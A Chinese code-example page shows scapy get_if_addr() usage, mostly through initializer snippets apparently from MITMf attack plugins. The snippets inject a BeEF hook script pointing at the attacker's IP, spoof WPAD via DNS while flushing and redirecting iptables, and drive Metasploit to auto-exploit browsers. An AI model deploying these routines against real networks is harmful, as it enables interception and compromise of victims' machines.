我们从Python开源项目中,提取了以下15个代码示例,用于说明如何使用scapy.all.get_if_addr()。
def get_ip(interface): try: ip_address = get_if_addr(interface) if (ip_address == "0.0.0.0") or (ip_address is None): shutdown("Interface {} does not have an assigned IP address".format(interface)) return ip_address except Exception as e: shutdown("Error retrieving IP address from {}: {}".format(interface, e))
def initialize(self, options): self.options = options try: beefconfig = options.configfile['MITMf']['BeEF'] except Exception, e: sys.exit("[-] Error parsing BeEF options in config file: " + str(e)) try: userconfig = options.configfile['BeEFAutorun'] except Exception, e: sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e)) self.Mode = userconfig['mode'] self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] try: self.ip_address = get_if_addr(options.interface) if self.ip_address == "0.0.0.0": sys.exit("[-] Interface %s does not have an IP address" % options.interface) except Exception, e: sys.exit("[-] Error retrieving interface IP address: %s" % e) Inject.initialize(self, options) self.black_ips = [] self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport']) beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) if beef.login(beefconfig['user'], beefconfig['pass']): print "[*] Successfully logged in to BeEF" else: sys.exit("[-] Error logging in to BeEF!") print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start()
def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.interface = options.interface if os.geteuid() != 0: sys.exit("[-] Responder plugin requires root privileges") try: config = options.configfile['Responder'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) try: self.ip_address = get_if_addr(options.interface) if self.ip_address == "0.0.0.0": sys.exit("[-] Interface %s does not have an IP address" % self.interface) except Exception, e: sys.exit("[-] Error retrieving interface IP address: %s" % e) print "[*] Responder plugin online" DnsCache.getInstance().setCustomAddress(self.ip_address) for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: DnsCache.getInstance().setCustomRes(name, self.ip_address) if '--spoof' not in sys.argv: print '[*] Setting up iptables' os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen) t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config)) t.setDaemon(True) t.start()
def getAddresses(): from scapy.all import get_if_addr, get_if_list from ipaddr import IPAddress addresses = set() for i in get_if_list(): try: addresses.add(get_if_addr(i)) except: pass if '0.0.0.0' in addresses: addresses.remove('0.0.0.0') return [IPAddress(addr) for addr in addresses]
def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.html_src = options.html_url self.js_src = options.js_url self.rate_limit = options.rate_limit self.count_limit = options.count_limit self.per_domain = options.per_domain self.black_ips = options.black_ips self.white_ips = options.white_ips self.match_str = options.match_str self.html_payload = options.html_payload try: self.proxyip = get_if_addr(options.interface) if self.proxyip == "0.0.0.0": sys.exit("[-] Interface %s does not have an IP address" % options.interface) except Exception, e: sys.exit("[-] Error retrieving interface IP address: %s" % e) if self.white_ips: temp = [] for ip in self.white_ips.split(','): temp.append(ip) self.white_ips = temp if self.black_ips: temp = [] for ip in self.black_ips.split(','): temp.append(ip) self.black_ips = temp if self.options.preserve_cache: self.implements.remove("handleHeader") self.implements.remove("connectionMade") if options.html_file is not None: self.html_payload += options.html_file.read() self.ctable = {} self.dtable = {} self.count = 0 self.mime = "text/html" print "[*] Inject plugin online"
def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit try: msfcfg = options.configfile['MITMf']['Metasploit'] except Exception, e: sys.exit("[-] Error parsing Metasploit options in config file : " + str(e)) try: self.javacfg = options.configfile['JavaPwn'] except Exception, e: sys.exit("[-] Error parsing config for JavaPwn: " + str(e)) self.msfport = msfcfg['msfport'] self.rpcip = msfcfg['rpcip'] self.rpcpass = msfcfg['rpcpass'] try: self.msfip = get_if_addr(options.interface) if self.msfip == "0.0.0.0": sys.exit("[-] Interface %s does not have an IP address" % options.interface) except Exception, e: sys.exit("[-] Error retrieving interface IP address: %s" % e) #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) self.black_ips = [] try: msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] print "[*] Successfully connected to Metasploit v%s" % version except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) t.start() #start the main thread